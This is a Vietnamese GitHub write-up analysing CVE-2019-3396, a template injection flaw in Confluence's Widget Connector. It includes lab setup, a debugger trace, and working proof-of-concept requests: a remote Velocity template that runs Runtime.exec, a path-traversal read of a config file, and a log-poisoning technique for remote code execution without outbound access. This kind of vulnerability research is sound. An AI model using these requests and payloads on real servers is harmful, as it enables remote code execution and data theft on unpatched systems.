Skip to content

PetrusViet/cve-2019-3396

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

Confluence unauthorize template injection (CVE-2019-3396)

I) Building

  • Bug này xảy ra trên các phiên bản:
    • Tất cả các phiên bản 1.x.x, 2.x.x, 3.x.x, 4.x.x và 5.x.x
    • Tất cả các phiên bản 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x và 6.5.x
    • Tất cả các phiên bản 6.6.x trước 6.6.12
    • Tất cả các phiên bản 6.7.x, 6.8.x, 6.9.x, 6.10.x và 6.11.x
    • Tất cả các phiên bản 6.12.x trước 6.12.3
    • Tất cả các phiên bản 6.13.x trước 6.13.3
    • Tất cả các phiên bản 6.14.x trước 6.14.2
  • Sau khi tải source về các bạn cần:
    • Sửa giá trị confluence.homevề địa chỉ confluence home ở file ./confluence/WEB-INF/classes/confluence-init.properties
    • Thêm giá trị CATALINA_OPTS để chương trình có thể chạy ở chế độ remote debug

Với windown, file ./bin/setenv.bat

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

với linux, file ./bin/setenv.sh

CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • Tại IDE (Intellij) ta tạo một Debug Configurations: Remote JVM Debug với giá trị hostport là localhost:5005 và Command line aguments for remote JVM
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Ta có thể sử dụng Postgresql làm database:
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • Ta cần add giói jar: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar vào lib để khi debug ta có thể thấy souce cần thiết.

  • Ta tiến hành chạy file ./bin/start-confluence.bat và các bạn có thể tham khảo thêm hướng dẫn này để install từ source.

II) Phân tích

  • Sau khi đọc Description, ta có thể biết bug này bắt đầu từ tính năng Widget Connector thế nên mình google ngay để biết tính năng này là gì, và làm sao để sử dụng:

    2 vào edit một page

    3
    Chọn Orther macros

    4 Chọn Widget connector

    image

  • Mình chọn bừa các thông số rồi ấn vào preview, sau đó chuyển qua burp để xem có gì hay không. image

  • Ở gói tin này, mình thấy có một thông số "pluginKey":"com.atlassian.confluence.extra.widgetconnector" vậy nên mình đoán rằng tính năng Widget Connector được định nghĩa ở class com.atlassian.confluence.extra.widgetconnector vậy nên mình đã tìm kiếm trong path xem có gói jar nào khả nghi hay không.

image

  • mình thử add file ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar vào lib của project để có thể đọc source code và debug.

    1
    Cách add file jar vào lib

  • Mở pack widgetconnector mình thấy có cảm tình với class WidgetMacro nên mình đặt breakpoit tại contructor và hàm execute của class này để xem khi mình sử dụng tính năng Preview thì class này có được gọi hay không 🕵️

    • image

    • Hàm execute đã được gọi, sau đó chương trình gọi tới DefaultRenderManager.getEmbeddedHtml

    • image

    • Ta thấy để vào được trong if ta cần thỏa mãn điều kiện widgetRenderer.matches(url). Ta tiến hành kiểm tra hàm widgetRenderer.matches(url) ở class YoutubeRenderer

    • image

    • image

    • Như vậy mình cần để parameter url là một đường dẫn video của youtube (hoặc Vimeo, Twitter, ...). Mình set url thành url của một video youtube bất kỳ và chương trình đã nhảy vào câu if sau đó gọi tới hàm widgetRenderer.getEmbeddedHtml(url, params) (class YoutubeRenderer)

    • image

    • Chương trình nhảy tới hàm setDefaultParam tại đây ta có thấy một hidden params _template có vẻ khả nghi :)

    • image

    • Sau khi thoát khỏi hàm setDefaultParam, chương trình gọi tới hàm DefaultVelocityRenderService.render

    • image

    • Tiếp tục qua hàm getRenderedTemplateVelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

    • image

    • image

    • Tiếp tới VelocityUtils.getRenderedTemplate(String templateName, Context context)getRenderedTemplateWithoutSwallowingErrors(templateName, context)

    • image

    • Hàm renderTemplateWithoutSwallowingErrors

    • image

    • Chương trình gọi hàm getTemplate rồi tới VelocityEngine.getTemplateRuntimeInstance.getTemplate, tại đây ta thấy chương trình gọi hàm getResource với tham số đầu vào chính là giá trị của params _template. Với java, hàm getResource có thể dùng để load resource ở dạng file local hoặc là một tiệp ở trên internet (thông qua giao thức HTTP).

    • Dừng lại và suy nghĩ: điều này phải chăng cho phép attacker đưa một template (từ local server hoặc từ host của attacker) bất kỳ vào chương trình bằng cách chèn thêm params _template vào request hay sao ??

    • image

    • Chúng ta tiếp tục trace ngược lại, để xem sau khi có được template thì chương trình xử lý thế nào:

    • Sau khi đã có template, chương trình gọi hàm VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

    • image

    • Rồi sau đó tới template.merge(context, writer);

    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC có thể được render ở đây  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    • Tại đây ta thấy chương trình có gọi tới SimpleNode.render, Hàm này sử dụng template Velocity để parse template. Tới đây ta có thể thấy có thể viết PoC RCE được rồi:

Gói POST request khi yêu cầu tính năng Preview

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close

{
"contentId":"622594",
"macro": {
    "name":"widget",
    "body":"","params": {
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "width":"10",
      "height":"10",
      "_template":"https://pastebin.com/raw/JPEpiuLG"
      }
}
}

file payload

#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
  • PoC đã chạy thành công:
  • image

Stack call

WidgetMacro: execute
  -> DefaultRenderManager: getEmbeddedHtml
  	-> YoutubeRenderer: getEmbeddedHtml
  		-> DefaultVelocityRenderService: render -> getRenderedTemplate
  			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
  				
  				-> VelocityEngine: getTemplate
  					-> RuntimeInstance: getResource 

  			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors

  				-> Template: merge
  					=>  SimpleNode: render

Như vậy là ta đã PoC lại thành công bug này, nhưng trong trường hợp target là một server chăn outbount attacker không thể get resource từ ngoài internet chỉ có thể get resource là những file trong local của server.

Vậy trong trường hợp đó, làm sao để có thể khai thác ?

Mình nhận được một gợi ý là bằng một cách nào đó user có thể inject payload vào file log. Đây là một ý tưởng khá hay, nên mình bắt chân lên trán tìm cách ngay.

  • Mình bắt đầu xem các file log trong Confluence Home để xem chúng có gì đặc biệt. Mình xem các file log ở ./shared-home/analytics-logs/ và thấy có một số key-value quen thuộc, có vẻ như chúng được gửi từ phía client-side
  • image
  • Mình thấy có gói POST /rest/analytics/1.0/publish/bulk có gửi đi một số key-value như trên.
[{"name":"browser.metrics.navigation",
"properties":{
 "apdex":"0.5",
 "firstPaint":"528",
 "isInitial":"true",
 "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
 "key":"confluence.dashboard.view",
 "navigationType":"0",
 "readyForUser":"1117",
 "redirectCount":"0",
 "resourceLoadedEnd":"499",
 "resourceLoadedStart":90.35499999299645,
 "threshold":"1000",
 "unloadEventStart":"47",
 "unloadEventEnd":"47",
 "fetchStart":"25",
 "domainLookupStart":"25",
 "domainLookupEnd":"25",
 "connectStart":"25",
 "connectEnd":"25",
 "requestStart":"27",
 "responseStart":"28",
 "responseEnd":"37",
 "domLoading":"52",
 "domInteractive":"538",
 "domContentLoadedEventStart":"538",
 "domContentLoadedEventEnd":"691",
 "domComplete":"1176",
 "loadEventStart":"1176",
 "loadEventEnd":"1176",
 "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
 "pageEnd":"531",
 "isBigPipeEnabled":"false",
 "serverDuration":"339",
 "requestCorrelationId":"36006c54d2919ecd",
 "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
 "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
 }]
  • Mình thử thay thế một số value thì thấy có value resourceTiming có thể tùy ý chỉnh sửa mà vẫn được đưa vào log
  • image
  • Như vậy là ta đã có thể đưa payload vào file log nằm trên local của server.
  • Từ đây ta có thể đọc file ./confluence/WEB-INF/classes/confluence-init.properties để biết được vị trí của confluence home
POST /rest/tinymce/1/macro/preview HTTP/1.1
  
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
  "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
  "_template":"/../../WEB-INF/classes/confluence-init.properties",
  "width":"11",
  "height":"11"
  }
}
}
  • Rồi từ đó tìm tới vị trí file log có chứa payload mà mình đã inject vào:
POST /rest/tinymce/1/macro/preview HTTP/1.1
    
{
"contentId":"1507329",
"macro":{
  "name":"widget",
  "body":"",
  "params":{
    "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
    "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
    "width":"11",
    "height":"11"
    }
  }
}
  • Nếu file log quá lớn không thể đưa vào template để parse ta có thể push log để file log đạt giới hạn kích thước, lúc đó hệ thống tự động ghi log sang file mới và attacker có thể nhân có hội file log mới có kích thước chưa lớn để inject payload để sử dụng.

III) Fix

Tại bản path, class WidgetMacro đã được viết thêm hàm doSanitizeParameters để xóa param "_template" trước khi gọi renderManager.getEmbeddedHtml(url, parameters);

image image image

About

Confluence unauthorize template injection

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published